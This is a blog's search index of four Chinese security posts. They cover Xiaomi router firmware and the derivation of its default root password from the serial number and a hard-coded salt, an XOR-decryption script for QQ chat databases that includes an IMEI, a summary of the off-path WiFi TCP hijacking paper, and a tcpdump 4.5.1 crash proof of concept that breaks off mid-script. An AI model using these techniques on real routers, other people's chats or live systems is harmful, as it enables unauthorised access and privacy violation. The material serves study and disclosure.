Cool-Y.github.io/search.xml
2019-03-23 14:23:58 +08:00

162 lines
96 KiB
XML
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>小米固件工具mkxqimage</title>
<link href="/2019/03/16/%E5%B0%8F%E7%B1%B3%E5%9B%BA%E4%BB%B6%E5%B7%A5%E5%85%B7mkxqimage/"/>
<url>/2019/03/16/%E5%B0%8F%E7%B1%B3%E5%9B%BA%E4%BB%B6%E5%B7%A5%E5%85%B7mkxqimage/</url>
<content type="html"><![CDATA[<h1 id="小米固件工具mkxqimage"><a href="#小米固件工具mkxqimage" class="headerlink" title="小米固件工具mkxqimage"></a>小米固件工具mkxqimage</h1><p>小米自己改了个打包解包固件的工具,基于 trx 改的(本质上还是 trx 格式),加了 RSA 验证和解包功能,路由系统里自带:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Usage:</span><br><span class="line">mkxqimg [-o outfile] [-p private_key] [-f file] [-f file [-f file [-f file ]]]</span><br><span class="line"> [-x file]</span><br><span class="line"> [-I]</span><br></pre></td></tr></table></figure></p><h2 id="固件解包"><a href="#固件解包" class="headerlink" title="固件解包"></a>固件解包</h2><p>固件工具mkxqimage完成对固件的解包在解包前先检查Checksum是否正确然后利用RSA公钥/usr/share/xiaoqiang/public.pem检查RSA签名这两个步骤通过后根据[0x0C]的固件类型,以及[0x10]、[0x14]、[0x18]和[0x1C]的4个偏移量拆分固件。</p><h2 id="固件打包"><a href="#固件打包" class="headerlink" title="固件打包"></a>固件打包</h2><p>小米官方在打包固件时用RSA私钥计算出固件的RSA签名小米路由器下载固件后用RSA公钥来验证RSA签名有效地防止固件被篡改。</p><h2 id="固件格式"><a href="#固件格式" class="headerlink" title="固件格式"></a><a href="http://www.iptvfans.cn/wiki/index.php/%E5%B0%8F%E7%B1%B3%E8%B7%AF%E7%94%B1%E5%99%A8%E5%9B%BA%E4%BB%B6%E5%88%86%E6%9E%90" target="_blank" rel="noopener">固件格式</a></h2><p>路由固件的格式,基本是基于 openwrt 的 trx 这个简单的二进制文件格式<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">48 44 52 30 63 D4 11 03 FE 3D 1A FD 05 00 02 00</span><br><span class="line">20 00 00 00 20 00 FE 00 00 00 00 00 00 00 00 00</span><br><span class="line">FF 04 00 EA 14 F0 9F E5 14 F0 9F E5 14 F0 9F E5</span><br></pre></td></tr></table></figure></p><p>第14字节ASCII字符串“HDR0”作为固件的标识<br>第58字节4字节整型数0x0311D464表示固件的大小51500132字节<br>第9~12字节固件的检查和<br>第1314字节0x0005表示固件中包含哪些部分<br>第1516字节0x0002表示固件格式版本号<br>第1720字节0x00000020表示固件第一部分在整个固件中的偏移量0.4.85固件的第一部分是brcm4709_nor.bin也就是Flash中除0xfe0000-0xff0000的board_data外的全镜像<br>第2124字节0x00FE0020表示固件第二部分在整个固件中的偏移量0.4.85固件的第二部分是root.ext4.lzma也就是硬盘中128M固件的压缩包<br>第33字节开始是固件的正式内容开始。</p><h2 id="小米开启ssh工具包"><a href="#小米开启ssh工具包" class="headerlink" title="小米开启ssh工具包"></a>小米开启ssh工具包</h2><p>使用mkxqimage解包<br>(现在会提示秘钥不存在)<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">error fopen public key</span><br><span class="line">Image verify failed, not formal image</span><br></pre></td></tr></table></figure></p><p>如果能解包应该可以得到脚本文件upsetting.sh</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">#!/bin/sh</span><br><span class="line">nvram set ssh_en=1</span><br><span class="line">nvram set flag_init_root_pwd=1</span><br><span class="line">nvram commit</span><br></pre></td></tr></table></figure><p>执行脚本文件upsetting.sh后将ssh_en设置为1同时设置了flag_init_root_pwd项。当正式启动时/usr/sbin/boot_check脚本检测到flag_init_root_pwd=1时自动修改root用户密码具体脚本为<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">flg_init_pwd=`nvram get flag_init_root_pwd`</span><br><span class="line">if [ &quot;$flg_init_pwd&quot; = &quot;1&quot; ]; then</span><br><span class="line">init_pwd=`mkxqimage -I`</span><br><span class="line">(echo $init_pwd; sleep 1; echo $init_pwd) | passwd root</span><br><span class="line">nvram unset flag_init_root_pwd</span><br><span class="line">nvram commit</span><br><span class="line">fi</span><br></pre></td></tr></table></figure></p><p>初始密码是mkxqimage -I的结果实际是根据路由器的序列号计算得到。路由器的序列号印在底盖上12位数字561000088888</p><p>初始密码计算算法为:</p><p><code>substr(md5(SN+&quot;A2E371B0-B34B-48A5-8C40-A7133F3B5D88&quot;), 0, 8)</code></p><p><strong><em>A2E371B0-B34B-48A5-8C40-A7133F3B5D88</em></strong> 为分析mkxqimage得到的salt</p>]]></content>
<categories>
<category> IOT </category>
</categories>
<tags>
<tag> 小米 </tag>
<tag> 文件格式 </tag>
<tag> SSH </tag>
</tags>
</entry>
<entry>
<title>QQ数据库的加密与解密</title>
<link href="/2019/02/22/qq%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E5%8A%A0%E5%AF%86%E8%A7%A3%E5%AF%86/"/>
<url>/2019/02/22/qq%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E5%8A%A0%E5%AF%86%E8%A7%A3%E5%AF%86/</url>
<content type="html"><![CDATA[<h1 id="qq数据库采用简单加密——异或加密"><a href="#qq数据库采用简单加密——异或加密" class="headerlink" title="qq数据库采用简单加密——异或加密"></a>qq数据库采用简单加密——异或加密</h1><h2 id="数据获取:"><a href="#数据获取:" class="headerlink" title="数据获取:"></a>数据获取:</h2><p>DENGTA_META.xml—IMEI:867179032952446<br>databases/2685371834.db——数据库文件</p><h2 id="解密方式:"><a href="#解密方式:" class="headerlink" title="解密方式:"></a>解密方式:</h2><p>明文msg_t 密文msg_Data keyIMEI<br>msg_t = msg_Data[i]^IMEI[i%15]</p><h2 id="实验:"><a href="#实验:" class="headerlink" title="实验:"></a>实验:</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">import sqlite3</span><br><span class="line"></span><br><span class="line">IMEI = &apos;867179032952446&apos;</span><br><span class="line">conn = sqlite3.connect(&apos;2685371834.db&apos;)</span><br><span class="line">c = conn.cursor()</span><br><span class="line"></span><br><span class="line">def _decrypt(foo):</span><br><span class="line"> substr = &apos;&apos;</span><br><span class="line"> #print(len(foo))</span><br><span class="line"> for i in range(0,len(foo)):</span><br><span class="line"> substr += chr(ord(foo[i]) ^ ord(IMEI[i%15]))</span><br><span class="line"> return substr</span><br><span class="line"></span><br><span class="line">#rem = c.execute(&quot;SELECT uin, remark, name FROM Friends&quot;)</span><br><span class="line">Msg = c.execute(&quot;SELECT msgData, senderuin, time FROM mr_friend_0FC9764CD248C8100C82A089152FB98B_New&quot;)</span><br><span class="line"></span><br><span class="line">for msg in Msg:</span><br><span class="line"> uid = _decrypt(msg[1])</span><br><span class="line"> print(&quot;\n&quot;+uid+&quot;:&quot;)</span><br><span class="line"> try:</span><br><span class="line"> msgData = _decrypt(msg[0]).decode(&apos;utf-8&apos;)</span><br><span class="line"> print(msgData)</span><br><span class="line"> except:</span><br><span class="line"> pass</span><br></pre></td></tr></table></figure><h2 id="结果"><a href="#结果" class="headerlink" title="结果"></a>结果</h2><p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1552728077/qq.png" alt></p>]]></content>
<categories>
<category> 加密解密 </category>
</categories>
<tags>
<tag> 密码 </tag>
<tag> QQ </tag>
<tag> 数据库 </tag>
</tags>
</entry>
<entry>
<title>wifi半双工侧信道攻击学习笔记</title>
<link href="/2019/01/16/wifi%E5%8D%8A%E5%8F%8C%E5%B7%A5%E4%BE%A7%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
<url>/2019/01/16/wifi%E5%8D%8A%E5%8F%8C%E5%B7%A5%E4%BE%A7%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</url>
<content type="html"><![CDATA[<h1 id="TCP侧信道分析及利用的学习报告"><a href="#TCP侧信道分析及利用的学习报告" class="headerlink" title="TCP侧信道分析及利用的学习报告"></a>TCP侧信道分析及利用的学习报告</h1><p><strong><em>论文来源:</em></strong>USENIX SECURITY 2018Off-Path TCP Exploit: How Wireless Routers Can Jeopardize Your Secrets<br><strong><em>下载:</em></strong><br><a href="https://www.usenix.org/conference/usenixsecurity18/presentation/chen-weiteng" target="_blank" rel="noopener">原文pdf</a><br><a href="https://res.cloudinary.com/dozyfkbg3/raw/upload/v1553316881/ARE/wifi.pptx" target="_blank" rel="noopener">中文slides</a></p><h2 id="背景知识"><a href="#背景知识" class="headerlink" title="背景知识"></a>背景知识</h2><h3 id="测信道"><a href="#测信道" class="headerlink" title="测信道"></a>测信道</h3><p><strong>香农信息论</strong></p><p><img src="./1.png" alt="信息熵"></p><p><strong>什么是信息?</strong> 用来减少随机不确定的东西</p><p><strong>什么是加密?</strong> 类似于加噪声,增加随机不确定性</p><blockquote><p>“从密码分析者来看,一个保密系统几乎就是一个通信系统。待传的消息是统计事件,加密所用的密钥按概率选出,加密结果为密报,这是分析者可以利用的,类似于受扰信号。”</p></blockquote><p><strong>侧信道随之出现</strong> 越过加密算法增加的随机不定性,从其他的渠道获取数据标签,确定信息内容。</p><ol><li>早期:采集加密电子设备在运行过程中的时间消耗、功率消耗或者电磁辐射消耗等边缘信息的差异性</li><li>而随着研究的深入逐渐从加密设备延伸到计算机内部CPU、内存等之间的信息传递</li><li>并在Web应用交互信息传递越来越频繁时延伸到了网络加密数据流的破解方面</li></ol><p><strong>侧信道攻击的流程</strong> 第一个就是侧信道泄露的截取,第二个是信息的恢复。</p><hr><h3 id="网络攻击"><a href="#网络攻击" class="headerlink" title="网络攻击"></a>网络攻击</h3><ol><li>中间人攻击<blockquote><p>“指攻击者与通讯的两端分别创建独立的联系,并交换其所收到的数据,使通讯的两端认为他们正在通过一个私密的连接与对方直接对话,但事实上整个会话都被攻击者完全控制。”</p></blockquote></li></ol><p><img src="./2-Man_in_the_middle_attack.svg.png" alt></p><ul><li>公共wifi、路由器劫持</li><li>一般使用加密来防御</li><li>加密的代价:维护密钥证书、影响功能(运营商无法做缓存)</li></ul><ol start="2"><li>非中间人攻击/偏离路径攻击/off-path attack<blockquote><p>通信线路之外,攻击者看不到双方的消息,没办法截获和发送通信包。智能伪造成一方给另一方发消息。</p></blockquote></li></ol><ul><li>攻击成功需要:消息合法+最先到达</li><li>防御措施challenge-response/询问-应答机制<br>双方在通信前交换一个随机数,这个随机数在每次的通信中都要被附带,而中间人看不见这个随机数,因此伪造的消息被认为不合法。</li><li>攻击者如何得到这个随机数:侧信道</li></ul><hr><h3 id="TCP三次握手"><a href="#TCP三次握手" class="headerlink" title="TCP三次握手"></a>TCP三次握手</h3><p><img src="./3-Connection_TCP.png" alt></p><blockquote><ol><li>客户端通过向服务器端发送一个SYN来创建一个主动打开作为三路握手的一部分。客户端把这段连接的序号设定为<em>随机数A</em>。</li><li>服务器端应当为一个合法的SYN回送一个SYN/ACK。ACK的确认码应为A+1SYN/ACK包本身又有一个<em>随机产生的序号B</em>。</li><li>最后客户端再发送一个ACK。当服务端收到这个ACK的时候就完成了三路握手并进入了连接创建状态。此时包的序号被设定为收到的确认号A+1而响应号则为B+1。</li></ol></blockquote><p>通过三次握手,确定对方不是非中间人</p><p><strong><em>TCP序列号的问题</em></strong></p><table><thead><tr><th style="text-align:center">1985</th><th style="text-align:center">1995</th><th style="text-align:center">2001</th><th style="text-align:center">2004</th><th style="text-align:center">2007</th><th style="text-align:center">2012</th><th style="text-align:center">2012</th><th style="text-align:center">2016</th></tr></thead><tbody><tr><td style="text-align:center">Morris</td><td style="text-align:center">Mitnik</td><td style="text-align:center">Zalewsky</td><td style="text-align:center">Waston</td><td style="text-align:center">kLM</td><td style="text-align:center">Herzberg</td><td style="text-align:center">作者</td><td style="text-align:center">作者</td></tr><tr><td style="text-align:center">初始序列可预测</td><td style="text-align:center">真实利用</td><td style="text-align:center">漏洞仍在</td><td style="text-align:center">BGP DoS</td><td style="text-align:center">Windows攻击</td><td style="text-align:center">Puppet-assisted</td><td style="text-align:center">Malware-assisted</td><td style="text-align:center">off-path attack</td></tr></tbody></table><ol><li>90年代时发现并不随机1995年伪造客户端连接微软大楼的服务器</li><li>2007年在windows场景下用IDID侧信道猜出序列号只针对Windows花费几小时</li></ol><hr><h2 id="Malware-assisted"><a href="#Malware-assisted" class="headerlink" title="Malware-assisted"></a>Malware-assisted</h2><p><strong>攻击模型:</strong><br>给受害者安装一个无特权的应用程序仅能网络连接这个程序跟非中间人的攻击者里应外合劫持手机上所有的TCP连接。<br><img src="./5-攻击模型.PNG" alt></p><p><strong>如何劫持TCP</strong></p><ol><li><p>需要的信息Facebook的连接IP地址和端口号由此可以知道TCP连接的序列号利用序列号伪装成Facebook给手机发消息。<br>使用netstat命令获取<br><img src="./4-netstat获取信息.jpg" alt></p></li><li><p>任务由于TCP的序列号通常连续所以要精确猜到它的下一个序列号。</p></li><li>如何验证序列号正确:通过某种侧信道,这个恶意软件在后台可以提供反馈。</li></ol><h3 id="变种一:防火墙"><a href="#变种一:防火墙" class="headerlink" title="变种一:防火墙"></a>变种一:防火墙</h3><p><strong>攻击过程:</strong> TCP三次握手之后产生A和B将来传输的包序列号必须跟A和B很接近否则防火墙会丢弃这个包。因此只有猜对了序列号包才能到达手机端。到达手机端后后台的恶意软件可以帮助我们判断手机是否接受了这个数据包。</p><p><strong>具体侧信道方案:</strong> CPU资源使用率噪音很大——&gt;TCP计数器后台软件运行制造噪音——&gt;低噪音计数器:包被丢掉时,一个相应的错误计数器。</p><p><strong>解决方法:</strong> 关闭防火墙检查序列号的功能</p><h3 id="变种二:无防火墙"><a href="#变种二:无防火墙" class="headerlink" title="变种二:无防火墙"></a>变种二:无防火墙</h3><p>具体侧信道方案跟TCP业务逻辑有关的计数器——收到的TCP包序列号小于期望时增加大于时不变。二分查找搜索正确的序列号。<br>影响范围Android、Linux、MacOS、FreeBSD</p><hr><h2 id="Pure-off-path-无恶意软件协助"><a href="#Pure-off-path-无恶意软件协助" class="headerlink" title="Pure off-path:无恶意软件协助"></a>Pure off-path:无恶意软件协助</h2><blockquote><p>不植入恶意软件劫持任意两台机器的TCP连接首先确定是否建立TCP连接然后推测其序列号A和B。</p></blockquote><h3 id="Global-Rate-Limit"><a href="#Global-Rate-Limit" class="headerlink" title="Global Rate Limit"></a>Global Rate Limit</h3><blockquote><p>USENIX 2016 : Off-Path TCP Exploits: Global Rate Limit Considered Dangerous</p></blockquote><p><strong>侧信道:</strong> 所有的侧信道本质上就是攻击者和受害者之间共享着某些资源如之前的全局TCP计数器。这里使用的侧信道是 <strong><em>服务器上</em></strong> 的共享资源,<strong><em>限速器</em></strong>RFC 5961限制某一种包的发送速率默认100p/s</p><p><strong>如何利用共享限速器:</strong><br>先判断是否建立了连接。然后伪造TCP包需要猜测源端口如果猜测正确服务器会返回一个challenge攻击者不断触发一共可以收到99个还有一个发给了客户端如果猜测错误则一共可以收到100个challenge。</p><p><img src="./6-GRL-R.png" alt></p><p><img src="./7-GRL-L.png" alt></p><p><strong>评估:</strong> 是否建立了连接:&lt;10s ; Seq30s ACK:&lt;10s</p><p><strong>解决方案:</strong> 1. 加噪音100变成150、2002. 限速器做成局部的</p><hr><h3 id="Unfixable-WiFi-timing"><a href="#Unfixable-WiFi-timing" class="headerlink" title="Unfixable WiFi timing"></a>Unfixable WiFi timing</h3><blockquote><p>USENIX 2018 : Off-Path TCP Exploit: How Wireless Routers<br>Can Jeopardize Your Secrets<br>之前的漏洞无论是计数器还是限速器都属于软件,很好更正,但这篇文章的漏洞利用无法修复。</p></blockquote><p><strong>TCP收包的原理</strong> 通常TCP收包要看这个包是否匹配了当前的某一个连接。如果连接匹配上了就会去看这个包的序列号如果序列号不对会触发一个回复说明这个序列号存在问题如果序列号正确但反向序列号不对也会丢包。当连接匹配、序列号和反向序列号正确时就会返回一个数据包。<br><img src="./8-收包原理.jpg" alt></p><p><strong>侧信道:</strong> 攻击者伪装成服务器给客户端发包,正确的序列号会有<strong><em>回复</em></strong>,错误则没有。但回复时发送给服务器的,有没有回复攻击者并不知道。那么如何去判断有没有回复,利用无线网络的 <strong><em>半双工</em></strong> 传输。<br>让有回包和没有回包的时间差异放大。</p><p><strong>判断流程:</strong> 客户端和路由器之间wifi通信。攻击者依次发送三个数据包第一个包用来测试正常的RTT。第2个包是伪装成服务器发送的如果第2个包猜对了客户端会向服务器返回数据包这会导致占用更长时间的wifi信道从而会使第3个包的RTT更长。<br><img src="./8-noTrigger.PNG" alt></p><p><img src="./8-trigger.PNG" alt></p><p><strong>评估:</strong> 在本地环境下如果发送40个包就有20ms的RTT差别。</p><p><strong>攻击应用:</strong><br><strong>1. 攻击模型:</strong> 受害者访问了我们的钓鱼网站这时javascript傀儡会在后台执行主动建立到攻击者的连接规避NAT或防火墙造成的不可抵达问题这时攻击者就可以从外网测试RTT。</p><blockquote><p>与理想情况的不同客户端通常在NAT或防火墙之后操作系统不一定严格遵守TCP收包的原则</p></blockquote><pre><code>Attacker -------wire----------| Router ---------wireless-------Victim (client)Server -------wire----------|</code></pre><p><strong>2. 攻击目标:</strong> 推断出客户端和服务器是否建立了连接合计连接中交换的字节数或强制中断连接注入恶意payload到连接不失一般性的关注web缓存投毒。前两个不需要傀儡初始化连接第三个不一定需要但攻击者控制了时序能够简化攻击。</p><p><strong>3. 攻击过程:</strong> 假设傀儡已经建立了连接攻击者可以劫持并替换任何不加密的网站如武汉大学并在浏览器缓存。这是因为当浏览器请求相同的ip地址时会复用之前的TCP连接。这意味着恶意网站中的傀儡可以通过重复HTML元素来建立到目标域名的单个持久连接。然后路径外攻击者可以进行侧信道攻击以推断目标连接中使用的端口号和序列号然后注入虚假的http响应并要求浏览器不重新检查对象的新鲜度从而达到持续性的缓存投毒。</p><p><strong>4. 细节:</strong></p><ul><li><strong>连接(四元组)推断:</strong> 每一轮使用30个重复包测试一个端口如果端口号正确就会发现RTT大幅增加。如果还要完成 <strong><em>web缓存投毒</em></strong> ,还需要傀儡初始化连接来协助,根据系统不同,有不同的端口选择算法可以优化:<strong><em>windows&amp;macOS</em></strong> 使用全局和顺序端口分配策略为其TCP连接选择短暂的端口号这意味着攻击者可以在观察到与恶意Web服务器的初始连接后推断出要使用的下一个端口号这完全消除了对端口号推断的需要。<strong><em>NAT</em></strong> 端口保留,不需要关心外部端口被转换成不可预知的内部端口。<strong><em>来自同一域名的多个IP地址</em></strong>,这意味着攻击者需要付出更大的代价来推断端口号。</li><li><strong>序列号推断:</strong> 通过利用时序侧信道来判断是否存在相应的响应,从而将窗口序列号与窗外序列号区分开来。一旦我们得到一个 <strong><em>窗口内序列号</em></strong>,通过进行二分搜索进一步将序列号空间缩小到单个值 <strong><em>RCV.NXT</em></strong>。如果还要使用傀儡建立的连接发起web缓存投毒可以进一步优化<strong><em>增大接收窗口的大小</em></strong>可以减少猜测的迭代次数通常可以放大到500000(之前是65535)而且根据RFC793,窗口放大之后就永远不会缩小。<br><img src="./9-序列号推断.PNG" alt></li><li><p><strong>TCP劫持</strong> 通过劫持傀儡初始化的连接可以简化web缓存投毒的过程。三个os在ACK验证上都不符合规范所以各自处理情况也不同——<strong><em>windows</em></strong>客户端必须持续发送请求以防止ACK接收窗口仅为一个字节这要求攻击者必须能准确预期下一个序列号并解决大量流量带来的噪声。<br>因此作者设计了一种新策略该策略利用处理重叠数据的TCP行为和处理损坏的HTTP响应的浏览器行为——在Windows主机上缓冲的攻击者注入数据可能会破坏来自服务器的真实HTTP响应。 <strong><em>1注入</em></strong>傀儡不断从服务器上请求脚本而攻击者发送2^23/|wnd|个欺骗性数据包这些包的窗口序列号与RCV.NXT加上偏移量相匹配其中|wnd|为ack接收窗口大小第i个数据包的ACK号为i*|wnd|payload为</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">websocket.send(|wnd|*i)</span><br></pre></td></tr></table></figure><p> 因此这些数据包中包含有效ACK号的一个包将被缓冲并破坏真实的HTTP响应头。浏览器执行注入的脚本时它将通过websocket发送猜测的ACK号提供有效的窗口内ACK号。<br><img src="./9-http注入.PNG" alt><br><strong><em>2利用</em></strong>由于客户端已经接受了额外的欺骗payload推进了其预期的序列号因此客户端和服务器实际上已经被去同步。攻击者现在可以简单地发送欺骗性响应知道预期的序列号和有效的ACK号。如果我们只想执行一次性注入只需用恶意脚本替换第一步中的payload就足够了。<br>此外针对Windows的注入步骤存在更加通用的替代策略不依赖于浏览器行为。 具体来说由于HTTP响应的前几个字节是可预先确定的即HTTP不破坏真实的响应而是覆盖标题和正文以形成合法但恶意的响应。 在这种情况下,浏览器将完全忘记注入的存在。 这表明一旦序列号泄露就存在各种方法来有效地将数据注入浏览器而不用进行基于时间信道的慢得多的ACK号推断。</p></li></ul><hr><h2 id="Discussion"><a href="#Discussion" class="headerlink" title="Discussion"></a>Discussion</h2><p>时序侧信道来自无线网络的半双工性质。由于无线协议中固有的冲突和回退它被进一步放大。正如我们的测试路由器所证实的那样现代无线路由器都支持CSMA / CA和RTS / CTS因为它是802.11标准的一部分,并且该原则不太可能很快改变。<br>虽然作者只讨论威胁模型其中来自受害客户端的连接是针对性的但攻击实际上也适用于源自通过同一无线路由器连接的其他客户端的连接。这是因为所有这些客户端例如在相同NAT之后共享了相同的冲突域并因此遭受相同的定时信道。通过探测数据包在任何客户端上触发的响应将有效地延迟探测后查询。在这种情况下受害者连接通过傀儡打开只是为远程攻击者提供了测量碰撞的机会。<br>此外我们可以扩展威胁模型以考虑无线连接的服务器例如物联网设备。已经证明通过公共IP地址和开放端口可以访问数百万个物联网设备。在这种情况下可以针对此类IoT设备上的连接启动完全偏离路径的攻击。例如计算在连接上交换的字节终止与另一主机的连接在正在进行的telnet连接上注入恶意命令。</p>]]></content>
<categories>
<category> 顶会论文 </category>
</categories>
<tags>
<tag> 侧信道攻击 </tag>
<tag> wifi </tag>
</tags>
</entry>
<entry>
<title>TCPDUMP拒绝服务攻击漏洞</title>
<link href="/2018/12/25/TCPDUMP%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%94%BB%E5%87%BB%E6%BC%8F%E6%B4%9E/"/>
<url>/2018/12/25/TCPDUMP%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%94%BB%E5%87%BB%E6%BC%8F%E6%B4%9E/</url>
<content type="html"><![CDATA[<h1 id="TCPDUMP-4-5-1-拒绝服务攻击漏洞分析"><a href="#TCPDUMP-4-5-1-拒绝服务攻击漏洞分析" class="headerlink" title="TCPDUMP 4.5.1 拒绝服务攻击漏洞分析"></a>TCPDUMP 4.5.1 拒绝服务攻击漏洞分析</h1><h2 id="Tcpdump介绍"><a href="#Tcpdump介绍" class="headerlink" title="Tcpdump介绍"></a>Tcpdump介绍</h2><ol><li>tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统包括Linux、Solaris、BSD、Mac OS X、HP-UX和AIX 等等。在这些系统中tcpdump 需要使用libpcap这个捕捉数据的库。其在Windows下的版本称为WinDump它需要WinPcap驱动相当于在Linux平台下的libpcap.</li><li>tcpdump能够分析网络行为性能和应用产生或接收网络流量。它支持针对网络层、协议、主机、网络或端口的过滤并提供and、or、not等逻辑语句来帮助你去掉无用的信息从而使用户能够进一步找出问题的根源。</li><li>也可以使用 tcpdump 的实现特定目的,例如在路由器和网关之间拦截并显示其他用户或计算机通信。通过 tcpdump 分析非加密的流量如Telnet或HTTP的数据包查看登录的用户名、密码、网址、正在浏览的网站内容或任何其他信息。因此系统中存在网络分析工具主要不是对本机安全的威胁而是对网络上的其他计算机的安全存在威胁。</li></ol><h2 id="分析环境"><a href="#分析环境" class="headerlink" title="分析环境"></a>分析环境</h2><ul><li>Ubuntu 16.04.4 LTS i686</li><li>tcpdump 4.5.1</li><li>gdb with peda</li></ul><h2 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h2><p>这个漏洞触发的原因是tcpdump在处理特殊的pcap包的时候由于对数据包传输数据长度没有进行严格的控制导致在连续读取数据包中内容超过一定长度后会读取到无效的内存空间从而导致拒绝服务的发生。对于这个漏洞首先要对pcap包的结构进行一定的分析才能够最后分析出漏洞的成因下面对这个漏洞进行复现。</p><h3 id="编译安装tcpdump"><a href="#编译安装tcpdump" class="headerlink" title="编译安装tcpdump"></a>编译安装tcpdump</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">1.# apt-get install libpcap-dev</span><br><span class="line">2.# dpkg -l libpcap-dev</span><br><span class="line">3.# wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz</span><br><span class="line">4.# tar -zxvf 973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz</span><br><span class="line">5.# cd tcpdump-4.5.1/</span><br><span class="line">6.# ./configure</span><br><span class="line">7.# make</span><br><span class="line">8.# make install</span><br><span class="line">9.# tcpdump -version</span><br><span class="line"> tcpdump version 4.5.1</span><br><span class="line"> libpcap version 1.7.4</span><br></pre></td></tr></table></figure><h3 id="生成payload来自exploit-db-payload"><a href="#生成payload来自exploit-db-payload" class="headerlink" title="生成payload来自exploit-db payload"></a>生成payload来自exploit-db payload</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"># Exploit Title: tcpdump 4.5.1 Access Violation Crash</span><br><span class="line"># Date: 31st May 2016</span><br><span class="line"># Exploit Author: David Silveiro</span><br><span class="line"># Vendor Homepage: http://www.tcpdump.org</span><br><span class="line"># Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz</span><br><span class="line"># Version: 4.5.1</span><br><span class="line"># Tested on: Ubuntu 14 LTS</span><br><span class="line">from subprocess import call</span><br><span class="line">from shlex import split</span><br><span class="line">from time import sleep</span><br><span class="line"></span><br><span class="line">def crash():</span><br><span class="line"> command = &apos;tcpdump -r crash&apos;</span><br><span class="line"> buffer = &apos;\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff&apos;</span><br><span class="line"> buffer += &apos;\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00&apos;</span><br><span class="line"> buffer += &apos;\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00&lt;\x9c7@\xff\x00&apos;</span><br><span class="line"> buffer += &apos;\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a&apos;</span><br><span class="line"> buffer += &quot;\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&amp;\x80\x18\&apos;&quot;</span><br><span class="line"> buffer += &quot;xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n&apos;, &apos;\x00\x00\x00\x00&quot;</span><br><span class="line"> buffer += &apos;\x00\x00\x00\x00\x01\x03\x03\x04&apos;</span><br><span class="line"> with open(&apos;crash&apos;, &apos;w+b&apos;) as file:</span><br><span class="line"> file.write(buffer)</span><br><span 